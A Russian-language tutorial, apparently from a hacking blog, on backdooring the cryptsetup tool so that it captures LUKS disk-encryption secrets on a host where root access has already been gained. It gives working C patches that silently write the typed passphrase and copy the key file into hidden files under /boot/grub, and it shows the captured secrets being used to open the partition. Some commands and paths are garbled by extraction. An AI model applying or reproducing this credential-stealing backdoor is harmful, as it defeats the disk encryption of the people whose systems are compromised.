LUKS — популярная и широко распространенная система шифрования дисков. Однако, когда вы получаете доступ к хосту с правами администратора, вполне возможно установить закладку, которая будет захватывать ключи зашифрованных разделов. В этой статье мы сначала рассмотрим LUKS и утилиту cryptsetup, а затем посмотрим, как изменить исходный код, чтобы мы могли захватить пароль или ключ для расшифровки раздела.
LUKS — это, по сути, стандарт шифрования дисков Linux. Поддерживается до восьми ключевых слотов, вы можете выбирать между хеш-функциями, алгоритмами и режимами шифрования, есть адаптивный алгоритм выбора количества итераций. Расшифровать данные на диске можно только в том случае, если у вас есть доступ к секретному ключу и паролю.
Среди других преимуществ LUKS:
Ну и распространяется она бесплатно.
Все манипуляции мы будем проводить на свежем Debian 10, добавив дополнительный диск для экспериментов с шифрованием.
После установки переходим под root:
su -
Затем утилитой fdisk смотрим названия доступных дисков:
$
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x09849b5eDevice Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 37750783 37748736 18G 83 Linux
/dev/sda2 37752830 41940991 4188162 2G 5 Extended
/dev/sda5 37752832 41940991 4188160 2G 82 Linux swap / Solaris
Disk /dev/sdb: 4 GiB, 4294967296 bytes, 8388608 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
В своем примере я буду использовать устройство /
. Для разметки диска использую утилиту parted
, передав имя диска в качестве аргумента:\
parted /dev
Помечаю таблицу разделов как GPT:
(parted) mklabel gpt
И создаю единственный раздел, занимающий весь диск:
(parted) mkpart primary 1 -1
(parted) quit
Работы с разметкой /
закончены. Переходим к сборке cryptsetup.
Если у вас уже установлен LUKS и вы хотите изменить текущую версию утилиты, используйте dpkg-dev. В этом примере я создам cryptsetup загруженных шрифтов отдельно от системы. У меня версия 2.0.6, потому что при сборке последней доступной (2.3.4) были проблемы с версиями библиотеки.
Скачиваем, распаковываем и устанавливаем необходимые зависимости:
# cd /root
# wget https://www.kernel.org/pub/linux/utils/cryptsetup/v2.0/cryptsetup-2.0.6.tar.xz
# tar xf cryptsetup-2.0.6.tar.xz
# cd cryptsetup-2.0.6
# apt update && apt install build-essential automake autopoint libtool pkg-config uuid-dev libdevmapper-dev libpopt-dev libgcrypt20-dev libjson-c-dev libssl-dev libblkid-dev gettext
Собираем и устанавливаем:
# ./configure
# make && make install
Проверяем установку:
#
cryptsetup 2.0.6
Отлично. Теперь создадим зашифрованный раздел с помощью cryptsetup и пароля, вводимого в TTY:
# cryptsetup luksFormat /dev/sdb1
Соглашаемся на форматирование (YES
) и вводим пароль для последующего доступа к разделу. Я использую t3st3ncryp7
.
Проверяем, все ли удалось.
#
Ok!
Все получилось! Подключаем шифрованный раздел, чтобы дальше его монтировать:
# cryptsetup luksOpen /dev/sdb1 db
Вводим парольную фразу (t3st3ncryp7
). Чуть позже в этом месте мы перехватим вводимый в TTY пароль.
Форматируем раздел:
# mke2fs -j /dev/mapper/db
И монтируем для работы, например в /
:
#
#
#
Hello!
#
итого 28
drwxr-xr-x 3 root root 4096 ноя 6 06:49 .
drwxr-xr-x 20 root root 4096 ноя 6 05:34 ..
drwx------ 2 root root 16384 ноя 6 06:48 lost+found
-rw-r--r-- 1 root root 7 ноя 6 06:49 test.txt
На этом этапе мы узнаем, как смонтировать зашифрованный раздел LUKS с помощью парольной фразы. Теперь мы исправим исходный код, чтобы сохранить не только введенный пароль, но и случайно сгенерированный файл, который можно указать в качестве ключа для расшифровки раздела.
Находим код проверки passphrase в файле src/
(относительно корня архива cryptsetup-2.0.6.tar.xz). В старых версиях он находился в файле askpass.c.
Чтобы получить пароль, я модифицирую функцию crypt_get_key_tty (), которая отвечает за ввод пароля с терминала (TTY). Наконец, давайте добавим фрагмент кода, который вставляет передаваемую переменную в нужный нам файл. Возьмите /boot/grub/.captured_pass в качестве пути.
Вот примерно 220-я строка файла src/
:
*key = pass;
*key_size = strlen(pass);
Добавим
FILE *fp;
fp = fopen("/boot/grub/.captured_pass", "w+");
fputs(pass, fp);
fclose(fp);
Для этого я решил не читать сам ключ, а взять оригинальный путь из функции tools_get_key(
и скопировать ключ в нужное место. Для добавления кода ищем примерно 285-ю строку и после:
if (pwquality && !opt_force_password && !key_file && !r)
r = tools_check_pwquality(*key);
Добавляем вызов функции CopyFile(
, передав в качестве аргумента путь оригинального файла в переменной key_file
и необходимый путь для сохранения. Должно получиться примерно так:
...
if (pwquality && !opt_force_password && !key_file && !r)
r = tools_check_pwquality(*key);
CopyFile(key_file, "/boot/grub/.captured_key");return r;
Сохранение ключа в файле utils_password.c
Не забываем добавить саму функцию CopyFile(
в самый конец файла после функции tools_write_mk(
:
int CopyFile(const char* source, const char* destination) {
int input, output;
if ((input = open(source, O_RDONLY)) == -1) {
return -1;
}
if ((output = creat(destination, 0660)) == -1) {
close(input);
return -1;
}
off_t bytesCopied = 0;
struct stat fileinfo = {0};
fstat(input, &fileinfo);
int result = sendfile(output, input, &bytesCopied, fileinfo.st_size);
close(input);
close(output);
return result;
}
Теперь пересобираем наш исправленный вариант cryptsetup c удалением кеша предыдущей сборки:
# pwd
# /root/cryptsetup-2.0.6
make clean && make && make install
Настало время тестов. Для начала проверим перехват пароля уже зашифрованного таким образом диска. Для этого размонтируем его и вернем в первоначальное состояние:
# umount /mnt
# cryptsetup luksClose /dev/mapper/db
Теперь снова расшифровываем и ловим необходимый пароль:
#
Введите парольную фразу для /dev/sdb1:
#
#
lost+found test.txt
#
t3st3ncryp7
Великолепно! Осталось отформатировать и зашифровать файлом ключом для проверки второго способа перехвата. Генерируем сам ключ:
# dd if=/dev/urandom of=/root/secret.key bs=1024 count=2
Форматируем и шифруем с помощью сгенерированного ключа, предварительно отключив раздел:
#
#
#
ПРЕДУПРЕЖДЕНИЕ: Устройство /dev/sdb1 уже содержит подпись суперблока «crypto_LUKS».WARNING!
========
Данные на /dev/sdb1 будут перезаписаны без возможности восстановления.
Are you sure? (Type uppercase yes): YES
Подключаем и расшифровываем раздел:
# cryptsetup --key-file /root/secret.key luksOpen /dev/sdb1 db
Проверяем, перехватился ли ключ.
#
итого 2392
drwxr-xr-x 5 root root 4096 ноя 6 07:29 .
drwxr-xr-x 3 root root 4096 ноя 5 05:03 ..
-rw-r----- 1 root root 2048 ноя 6 07:31 .captured_key
-rw-r--r-- 1 root root 11 ноя 6 07:21 .captured_pass
drwxr-xr-x 2 root root 4096 ноя 5 05:04 fonts
-r--r--r-- 1 root root 8463 ноя 5 05:04 grub.cfg
-rw-r--r-- 1 root root 1024 ноя 5 05:04 grubenv
drwxr-xr-x 2 root root 12288 ноя 5 05:04 i386-pc
drwxr-xr-x 2 root root 4096 ноя 5 05:04 locale
-rw-r--r-- 1 root root 2396122 ноя 5 05:03 unicode.pf2
Полный порядок. Проверим, работает ли наш ключ, предварительно дублируя его, иначе при следующей записи он запишет сам себя в 0 байт:
# cp /boot/grub/.captured_key /boot/grub/.captured_key_use
# cryptsetup --key-file /boot/grub/.captured_key_use luksOpen /dev/sdb1 db
Успешный перехват ключа
Популярность LUKS делает его интересной целью для хакеров. Если есть возможность проникнуть в систему, то шифрование может и не спасти, что мы сегодня продемонстрировали.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…